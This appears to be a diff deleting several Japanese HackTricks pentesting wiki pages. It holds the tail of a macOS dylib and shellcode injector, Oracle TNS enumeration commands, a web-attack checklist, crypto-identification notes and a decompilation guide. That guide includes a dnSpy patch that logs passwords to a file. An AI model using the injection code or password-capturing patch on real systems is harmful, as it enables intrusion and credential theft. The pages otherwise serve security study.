||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### スレッドハイジャックによるタスクポート <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
この技術では、プロセスのスレッドがハイジャックされます:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### 基本情報
|
||||
|
||||
XPCは、macOSおよびiOS上のプロセス間通信のためのフレームワークで、XNU(macOSで使用されるカーネル)を意味します。XPCは、システム上の異なるプロセス間で**安全な非同期メソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
|
||||
|
||||
この**通信がどのように機能するか**、およびそれが**どのように脆弱である可能性があるか**についての詳細は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Machインターフェースジェネレーター
|
||||
|
||||
MIGは、**Mach IPC**コード作成のプロセスを**簡素化するため**に作成されました。基本的に、指定された定義に基づいてサーバーとクライアントが通信するために必要なコードを**生成します**。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
Oracleデータベース(Oracle DB)は、Oracle Corporationのリレーショナルデータベース管理システム(RDBMS)です([こちら](https://www.techopedia.com/definition/8711/oracle-database)から)。
|
||||
|
||||
Oracleを列挙する際の最初のステップは、通常デフォルトポート(1521/TCP、-1522–1529でセカンダリリスナーも取得できる場合があります-)に存在するTNS-Listenerと通信することです。
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## 概要
|
||||
|
||||
1. **バージョン列挙**: 既知の脆弱性を検索するためにバージョン情報を特定します。
|
||||
2. **TNSリスナーのブルートフォース**: 通信を確立するために必要な場合があります。
|
||||
3. **SID名の列挙/ブルートフォース**: データベース名(SID)を発見します。
|
||||
4. **資格情報のブルートフォース**: 発見したSIDにアクセスを試みます。
|
||||
5. **コード実行**: システム上でコードを実行しようとします。
|
||||
|
||||
MSFのOracleモジュールを使用するには、いくつかの依存関係をインストールする必要があります: [**インストール**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## 投稿
|
||||
|
||||
これらの投稿をチェックしてください:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,129 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
すべてのWeb Pentestには、**脆弱性が存在する可能性のある隠れた場所と明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> 現在、**ウェブ** **アプリケーション**は通常、何らかの**仲介者** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
|
||||
> [!TIP]
|
||||
> ほとんどのウェブアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
||||
> データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
||||
|
||||
### **Reflected Values**
|
||||
|
||||
入力されたデータが何らかの形で応答に反映される場合、ページはさまざまな問題に対して脆弱である可能性があります。
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
いくつかの脆弱性は特別な条件を必要とし、他のものは単に内容が反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
|
||||
バックエンド内のデータを検索するために機能が使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
|
||||
WebSocketがメッセージを投稿したり、ユーザーがアクションを実行できるフォームがある場合、脆弱性が発生する可能性があります。
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
ウェブサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
特定の機能には、回避策が役立つ場合があります。
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
|
||||
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
||||
一部の**特定の機能**は、**特定の形式の入力が使用される場合**にも脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
ファイルのアップロードを許可する機能は、さまざまな問題に対して脆弱である可能性があります。\
|
||||
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
||||
ユーザーがアップロードしたファイルやユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
これらの脆弱性は、他の脆弱性を悪用するのに役立つ可能性があります。
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,183 +0,0 @@
|
||||
# 暗号化/圧縮アルゴリズム
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## アルゴリズムの特定
|
||||
|
||||
コードが**シフト右および左、XORおよびいくつかの算術演算**を使用している場合、それは**暗号化アルゴリズム**の実装である可能性が高いです。ここでは、**各ステップを逆にすることなく使用されているアルゴリズムを特定する方法**をいくつか示します。
|
||||
|
||||
### API関数
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
この関数が使用されている場合、第二パラメータの値を確認することで**使用されているアルゴリズム**を特定できます:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
指定されたデータバッファを圧縮および解凍します。
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
[ドキュメントから](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext**関数は、特定の暗号サービスプロバイダー(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択されたCSPを使用するCryptoAPI**関数への呼び出しで使用されます。
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
データストリームのハッシュを開始します。この関数が使用されている場合、第二パラメータの値を確認することで**使用されているアルゴリズム**を特定できます:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### コード定数
|
||||
|
||||
時には、特別でユニークな値を使用する必要があるため、アルゴリズムを特定するのが非常に簡単です。
|
||||
|
||||
.png>)
|
||||
|
||||
最初の定数をGoogleで検索すると、次のような結果が得られます:
|
||||
|
||||
.png>)
|
||||
|
||||
したがって、逆コンパイルされた関数は**sha256計算機**であると推測できます。\
|
||||
他の定数を検索すれば、(おそらく)同じ結果が得られます。
|
||||
|
||||
### データ情報
|
||||
|
||||
コードに重要な定数がない場合、**.dataセクションから情報を読み込んでいる可能性があります**。\
|
||||
そのデータにアクセスし、**最初のDWORDをグループ化**し、前のセクションで行ったようにGoogleで検索できます:
|
||||
|
||||
.png>)
|
||||
|
||||
この場合、**0xA56363C6**を検索すると、**AESアルゴリズムのテーブル**に関連していることがわかります。
|
||||
|
||||
## RC4 **(対称暗号)**
|
||||
|
||||
### 特徴
|
||||
|
||||
3つの主要な部分で構成されています:
|
||||
|
||||
- **初期化ステージ/**: **0x00から0xFFまでの値のテーブルを作成**します(合計256バイト、0x100)。このテーブルは一般に**置換ボックス**(またはSBox)と呼ばれます。
|
||||
- **スクランブリングステージ**: 前に作成したテーブルを**ループ**し(0x100回のイテレーションのループ)、各値を**半ランダム**なバイトで修正します。この半ランダムなバイトを作成するために、RC4の**キーが使用されます**。RC4の**キー**は**1バイトから256バイトの長さ**であることができますが、通常は5バイト以上が推奨されます。一般的に、RC4のキーは16バイトの長さです。
|
||||
- **XORステージ**: 最後に、平文または暗号文は**前に作成された値とXORされます**。暗号化と復号化の関数は同じです。これには、作成された256バイトを必要な回数だけループします。これは通常、逆コンパイルされたコードで**%256(mod 256)**として認識されます。
|
||||
|
||||
> [!TIP]
|
||||
> **逆アセンブル/逆コンパイルされたコードでRC4を特定するには、サイズ0x100の2つのループ(キーを使用)を確認し、その後、2つのループで前に作成された256の値と入力データのXORを行うことを確認します。おそらく%256(mod 256)を使用します。**
|
||||
|
||||
### **初期化ステージ/置換ボックス:**(カウンタとして使用される256という数字と、256文字の各場所に0が書かれていることに注意)
|
||||
|
||||
.png>)
|
||||
|
||||
### **スクランブリングステージ:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XORステージ:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (対称暗号)**
|
||||
|
||||
### **特徴**
|
||||
|
||||
- **置換ボックスとルックアップテーブルの使用**
|
||||
- **特定のルックアップテーブルの値**(定数)の使用によりAESを**区別することが可能です**。_定数は**バイナリに保存**されるか、_ _**動的に作成**_されることがあります。_
|
||||
- **暗号化キー**は**16で割り切れる**必要があります(通常32B)し、通常は16Bの**IV**が使用されます。
|
||||
|
||||
### SBox定数
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(対称暗号)**
|
||||
|
||||
### 特徴
|
||||
|
||||
- それを使用しているマルウェアはあまり見られませんが、例(Ursnif)があります。
|
||||
- アルゴリズムがSerpentであるかどうかは、その長さ(非常に長い関数)に基づいて簡単に判断できます。
|
||||
|
||||
### 特定
|
||||
|
||||
次の画像では、定数**0x9E3779B9**が使用されていることに注意してください(この定数は**TEA**(Tiny Encryption Algorithm)などの他の暗号アルゴリズムでも使用されています)。\
|
||||
また、**ループのサイズ**(**132**)と**逆アセンブル**命令および**コード**例における**XOR操作の数**にも注意してください:
|
||||
|
||||
.png>)
|
||||
|
||||
前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化できます。内部に**ジャンプ**がないためです。逆コンパイルされたコードは次のように見えることがあります:
|
||||
|
||||
.png>)
|
||||
|
||||
したがって、**マジックナンバー**と**初期XOR**を確認し、**非常に長い関数**を見て、**長い関数のいくつかの命令を実装と比較する**ことで、このアルゴリズムを特定することが可能です(例えば、7ビット左シフトや22ビット左回転など)。
|
||||
|
||||
## RSA **(非対称暗号)**
|
||||
|
||||
### 特徴
|
||||
|
||||
- 対称アルゴリズムよりも複雑です。
|
||||
- 定数はありません!(カスタム実装は特定が難しい)
|
||||
- KANAL(暗号アナライザー)はRSAに関するヒントを示すことができず、定数に依存しています。
|
||||
|
||||
### 比較による特定
|
||||
|
||||
.png>)
|
||||
|
||||
- 左の行11には`+7) >> 3`があり、右の行35と同じです:`+7) / 8`
|
||||
- 左の行12は`modulus_len < 0x040`を確認しており、右の行36では`inputLen+11 > modulusLen`を確認しています。
|
||||
|
||||
## MD5 & SHA(ハッシュ)
|
||||
|
||||
### 特徴
|
||||
|
||||
- 3つの関数:Init、Update、Final
|
||||
- 初期化関数が似ています。
|
||||
|
||||
### 特定
|
||||
|
||||
**Init**
|
||||
|
||||
定数を確認することで両方を特定できます。sha_initにはMD5にはない1つの定数があることに注意してください:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
より多くの定数の使用に注意してください。
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC(ハッシュ)
|
||||
|
||||
- データの偶発的な変更を見つけるための機能として、小型で効率的です。
|
||||
- ルックアップテーブルを使用します(したがって、定数を特定できます)。
|
||||
|
||||
### 特定
|
||||
|
||||
**ルックアップテーブルの定数**を確認してください:
|
||||
|
||||
.png>)
|
||||
|
||||
CRCハッシュアルゴリズムは次のようになります:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib(圧縮)
|
||||
|
||||
### 特徴
|
||||
|
||||
- 認識可能な定数はありません。
|
||||
- アルゴリズムをPythonで書いて、オンラインで類似のものを検索してみることができます。
|
||||
|
||||
### 特定
|
||||
|
||||
グラフはかなり大きいです:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
それを認識するための**3つの比較**を確認してください:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Wasm デコンパイルと Wat コンパイルガイド
|
||||
|
||||
**WebAssembly** の領域では、**デコンパイル** と **コンパイル** のためのツールが開発者にとって不可欠です。このガイドでは、**Wasm (WebAssembly バイナリ)** と **Wat (WebAssembly テキスト)** ファイルを扱うためのオンラインリソースとソフトウェアを紹介します。
|
||||
|
||||
## オンラインツール
|
||||
|
||||
- Wasm を Wat に **デコンパイル** するためには、[Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) のツールが便利です。
|
||||
- Wat を Wasm に **コンパイル** するためには、[Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) が役立ちます。
|
||||
- 別のデコンパイルオプションは、[web-wasmdec](https://wwwg.github.io/web-wasmdec/) で見つけることができます。
|
||||
|
||||
## ソフトウェアソリューション
|
||||
|
||||
- より堅牢なソリューションとして、[JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) は広範な機能を提供します。
|
||||
- オープンソースプロジェクト [wasmdec](https://github.com/wwwg/wasmdec) もデコンパイル作業に利用可能です。
|
||||
|
||||
# .Net デコンパイルリソース
|
||||
|
||||
.Net アセンブリのデコンパイルは、以下のツールを使用して実行できます:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy) は、[Visual Studio Code 用のプラグイン](https://github.com/icsharpcode/ilspy-vscode) も提供しており、クロスプラットフォームでの使用が可能です。
|
||||
- **デコンパイル**、**修正**、および **再コンパイル** に関する作業には、[dnSpy](https://github.com/0xd4d/dnSpy/releases) が強く推奨されます。メソッドを **右クリック** し、**Modify Method** を選択することでコードの変更が可能です。
|
||||
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) は、.Net アセンブリのデコンパイルのための別の選択肢です。
|
||||
|
||||
## DNSpy を使用したデバッグとロギングの強化
|
||||
|
||||
### DNSpy ロギング
|
||||
|
||||
DNSpy を使用してファイルに情報をログするには、以下の .Net コードスニペットを組み込みます:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### DNSpy デバッグ
|
||||
|
||||
DNSpy を使用した効果的なデバッグのためには、デバッグのために **Assembly 属性** を調整する一連の手順が推奨され、デバッグを妨げる可能性のある最適化が無効にされます。このプロセスには、`DebuggableAttribute` 設定の変更、アセンブリの再コンパイル、および変更の保存が含まれます。
|
||||
|
||||
さらに、**IIS** によって実行される .Net アプリケーションをデバッグするために、`iisreset /noforce` を実行して IIS を再起動します。デバッグのために DNSpy を IIS プロセスにアタッチするには、DNSpy 内で **w3wp.exe** プロセスを選択し、デバッグセッションを開始するように指示します。
|
||||
|
||||
デバッグ中に読み込まれたモジュールの包括的なビューを得るためには、DNSpy の **Modules** ウィンドウにアクセスし、すべてのモジュールを開いてアセンブリをソートして、ナビゲーションとデバッグを容易にすることが推奨されます。
|
||||
|
||||
このガイドは、WebAssembly と .Net デコンパイルの本質を要約し、開発者がこれらの作業を容易にナビゲートできる道筋を提供します。
|
||||
|
||||
## **Java デコンパイラ**
|
||||
|
||||
Java バイトコードをデコンパイルするために、これらのツールが非常に役立ちます:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **DLL のデバッグ**
|
||||
|
||||
### IDA を使用
|
||||
|
||||
- **Rundll32** は、64 ビットおよび 32 ビットバージョンの特定のパスからロードされます。
|
||||
- **Windbg** は、ライブラリのロード/アンロード時に一時停止するオプションを有効にしてデバッガとして選択されます。
|
||||
- 実行パラメータには DLL パスと関数名が含まれます。この設定により、各 DLL のロード時に実行が停止します。
|
||||
|
||||
### x64dbg/x32dbg を使用
|
||||
|
||||
- IDA と同様に、**rundll32** はコマンドラインの修正を加えて DLL と関数を指定してロードされます。
|
||||
- DLL エントリでブレークするように設定が調整され、希望する DLL エントリポイントでブレークポイントを設定できます。
|
||||
|
||||
### 画像
|
||||
|
||||
- 実行停止ポイントと設定は、スクリーンショットを通じて示されています。
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- エミュレーションのために、[arm_now](https://github.com/nongiach/arm_now) は便利なリソースです。
|
||||
|
||||
## **シェルコード**
|
||||
|
||||
### デバッグ技術
|
||||
|
||||
- **Blobrunner** と **jmp2it** は、メモリ内にシェルコードを割り当て、Ida または x64dbg でデバッグするためのツールです。
|
||||
- Blobrunner [リリース](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [コンパイル版](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** は、GUI ベースのシェルコードエミュレーションと検査を提供し、ファイルとしてのシェルコード処理と直接シェルコード処理の違いを強調します。
|
||||
|
||||
### デオブフスケーションと分析
|
||||
|
||||
- **scdbg** は、シェルコード関数とデオブフスケーション機能に関する洞察を提供します。
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # 基本情報
|
||||
scdbg.exe -f shellcode -r # 分析レポート
|
||||
scdbg.exe -f shellcode -i -r # インタラクティブフック
|
||||
scdbg.exe -f shellcode -d # デコードされたシェルコードをダンプ
|
||||
scdbg.exe -f shellcode /findsc # 開始オフセットを見つける
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # オフセットから実行
|
||||
%%%
|
||||
|
||||
- シェルコードの逆アセンブルに **CyberChef** を使用: [CyberChef レシピ](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- すべての命令を `mov` に置き換えるオブフスケータです。
|
||||
